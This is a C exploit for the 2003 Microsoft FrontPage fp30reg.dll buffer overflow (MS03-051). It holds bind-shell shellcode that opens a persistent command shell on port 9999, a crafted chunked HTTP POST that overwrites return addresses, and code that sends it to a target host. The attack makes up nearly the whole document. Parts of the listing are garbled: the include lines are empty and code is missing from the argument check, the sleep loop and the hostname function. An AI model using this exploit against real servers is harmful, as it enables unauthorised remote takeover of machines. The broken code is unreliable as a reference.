Microsoft Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)

    
 
/*******************************************************************************

                              Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore

                              Exploit by Adik netmaniac hotmail kg

                              Binds persistent command shell on port 9999
                              Tested on                       
                              Windows 2000 Professional SP3 English version 
                              (fp30reg.dll ver 4.0.2.5526)                    

                              -[ 13/Nov/2003 ]-
                              ********************************************************************************/


                              #include 
                              #include 
                              #include 
                              #pragma comment(lib,"ws2_32")

                              #define VER             "0.1" 

                              /******** bind shellcode spawns persistent shell on port 9999 *****************************/
                              unsigned char kyrgyz_bind_code[] = {
                              0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
                              0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
                              0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
                              0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
                              0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
                              0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
                              0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
                              0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
                              0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
                              0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
                              0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
                              0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
                              0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
                              0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
                              0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
                              0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
                              0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
                              0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
                              0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
                              0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
                              0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
                              0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
                              0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
                              0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
                              0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
                              0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
                              0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
                              0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
                              0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
                              0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
                              0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
                              };

                              void cmdshell (int sock);
                              long gimmeip(char *hostname);

                              int main(int argc,char *argv[])
                              {     
                              WSADATA wsaData;
                              struct sockaddr_in targetTCP;
                              struct hostent *host;
                              int sockTCP,s;
                              unsigned short port = 80;
                              long ip;
                              unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
                                unsigned char packet[3000],data[1500];                          
                              unsigned char ecx[] = "\xe0\xf3\xd4\x67";
                              unsigned char edi[] = "\xff\xd0\x90\x90";             
                              unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
                              unsigned char shortjmp[] = "\xeb\x10";

                              printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
                              " by Adik \n\n", VER);
                              if(argc \n"
                                        " eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
                              return 1;                       
                              }               
                              if(argc==3)
                              port = atoi(argv[2]);                                   
                              WSAStartup(0x0202, &wsaData);                               
                              printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
                              ip=gimmeip(argv[1]);    
                              memset(&targetTCP, 0, sizeof(targetTCP));
                              memset(packet,0,sizeof(packet));
                              targetTCP.sin_family = AF_INET;
                              targetTCP.sin_addr.s_addr = ip;
                              targetTCP.sin_port = htons(port);                               
                              sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);                
                              memset(data, 0x90, sizeof(data)-1);
                              data[sizeof(data)-1] = '\x0';
                              memcpy(&data[16],edi,sizeof(edi)-1);
                              memcpy(&data[20],ecx,sizeof(ecx)-1);                
                              memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
                              memcpy(&data[250+14],call,sizeof(call)-1);          
                              memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
                              sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
                              if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                              {
                                printf("[x] Socket not initialized! Exiting...\n");
                                WSACleanup();
                              return 1;
                              }
                              printf("[*] Socket initialized...\n");                                        
                              if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
                              {
                              printf("[*] Connection to host failed! Exiting...\n");
                              WSACleanup();
                              exit(1);
                              }               
                              printf("[*] Checking for presence of fp30reg.dll...");
                              if (send(sockTCP, packet, strlen(packet),0) == -1)
                              {
                                printf("[x] Failed to inject packet! Exiting...\n");
                                WSACleanup();
                              return 1;
                              }               
                              memset(packet,0,sizeof(packet));        
                              if (recv(sockTCP, packet, sizeof(packet),0) == -1)              
                              {
                                printf("[x] Failed to receive packet! Exiting...\n");
                                WSACleanup();
                              return 1;
                              }                               
                              if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
                              printf(" Found!\n");
                              else
                              {
                              printf(" Not Found!! Exiting...\n");
                              WSACleanup();
                              return 1;
                              }
                              printf("[*] Packet injected!\n");
                              closesocket(sockTCP);
                              printf("[*] Sleeping ");
                              for(s=0;sh_addr, he->h_length);
                              }       
                              return ipaddr;
                              }
                              /*********************************************************************************/
                              

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